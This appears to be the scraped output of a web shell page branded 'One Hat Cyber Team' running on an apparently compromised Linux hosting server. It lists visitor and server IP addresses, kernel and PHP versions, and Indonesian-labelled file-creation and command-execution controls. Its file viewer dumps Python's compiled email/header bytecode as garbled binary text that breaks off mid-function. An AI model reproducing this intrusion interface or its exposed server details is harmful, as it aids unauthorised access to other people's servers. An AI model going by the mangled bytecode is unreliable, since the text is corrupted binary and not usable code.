⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.24
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.9
/
email
/
__pycache__
/
View File Name :
header.cpython-39.opt-1.pyc
a ÕDOg&^ ã @ sè d Z g d¢ZddlZddlZddlZddlZddlmZ ddlm Z e jZdZdZ dZd Zd ZdZdZed ƒZedƒZe dejejB ¡Ze d¡Ze d¡ZejjZdd„ Zddd„ZG dd„ dƒZG dd„ dƒZ G dd„ de!ƒZ"dS )z+Header encoding and decoding functionality.)ÚHeaderÚ decode_headerÚmake_headeré N)ÚHeaderParseError)ÚcharsetÚ ú ó z Ú éN z úus-asciizutf-8ai =\? # literal =? (?P
[^?]*?) # non-greedy up to the next ? is the charset \? # literal ? (?P
[qQbB]) # either a "q" or a "b", case insensitive \? # literal ? (?P
.*?) # non-greedy up to the next ?= is the encoded string \?= # literal ?= z[\041-\176]+:$z \n[^ \t]+:c C s– t | dƒrdd„ | jD ƒS t | ¡s.| dfgS g }| ¡ D ]€}t |¡}d}|r:| d¡}|rj| ¡ }d}|r~| |ddf¡ |rL| d¡ ¡ }| d¡ ¡ }| d¡}| |||f¡ qLq:g } t |ƒD ]J\} }| dkrÈ|d rÈ|| d d rÈ|| d d ¡ rÈ| | d ¡ qÈt| ƒD ]}||= qg } |D ]È\}}}|du rV| ||f¡ n¢|d kr|t j |¡}| ||f¡ n||dkrìt|ƒd }|r¬|d dd| … 7 }zt j |¡}W n tjyÚ tdƒ‚Y n0 | ||f¡ ntd| ƒ‚q2g }d }}| D ]v\}}t|tƒr*t|dƒ}|du r>|}|}nB||kr`| ||f¡ |}|}n |du rx|t| 7 }n||7 }q| ||f¡ |S )a; Decode a message header value without converting charset. Returns a list of (string, charset) pairs containing each of the decoded parts of the header. Charset is None for non-encoded parts of the header, otherwise a lower-case string containing the name of the character set specified in the encoded string. header may be a string that may or may not contain RFC2047 encoded words, or it may be a Header object. An email.errors.HeaderParseError may be raised when certain decoding error occurs (e.g. a base64 decoding exception). Ú_chunksc S s( g | ] \}}t |t|ƒ¡t|ƒf‘qS © )Ú_charsetZ_encodeÚstr)Ú.0Ústringr r r ú$/usr/lib64/python3.9/email/header.pyÚ
M s ÿz!decode_header.
.
NTr Fé é ÚqÚbé z===zBase64 decoding errorzUnexpected encoding: zraw-unicode-escape)Úhasattrr ÚecreÚsearchÚ splitlinesÚsplitÚpopÚlstripÚappendÚlowerÚ enumerateÚisspaceÚreversedÚemailÚ quoprimimeZ header_decodeÚlenZ base64mimeÚdecodeÚbinasciiÚErrorr ÚAssertionErrorÚ isinstancer ÚbytesÚBSPACE)ÚheaderÚwordsÚlineÚpartsÚfirstZ unencodedr ÚencodingÚencodedZdroplistÚnÚwÚdZ decoded_wordsZencoded_stringZwordZpaderrZ collapsedZ last_wordÚlast_charsetr r r r = s| ÿ 4 r c C sF t |||d}| D ].\}}|dur4t|tƒs4t|ƒ}| ||¡ q|S )a¼ Create a Header from a sequence of pairs as returned by decode_header() decode_header() takes a header value string and returns a sequence of pairs of the format (decoded_string, charset) where charset is the string name of the character set. This function takes one of those sequence of pairs and returns a Header instance. Optional maxlinelen, header_name, and continuation_ws are as in the Header constructor. )Ú maxlinelenÚheader_nameÚcontinuation_wsN)r r- ÚCharsetr! )Zdecoded_seqr; r<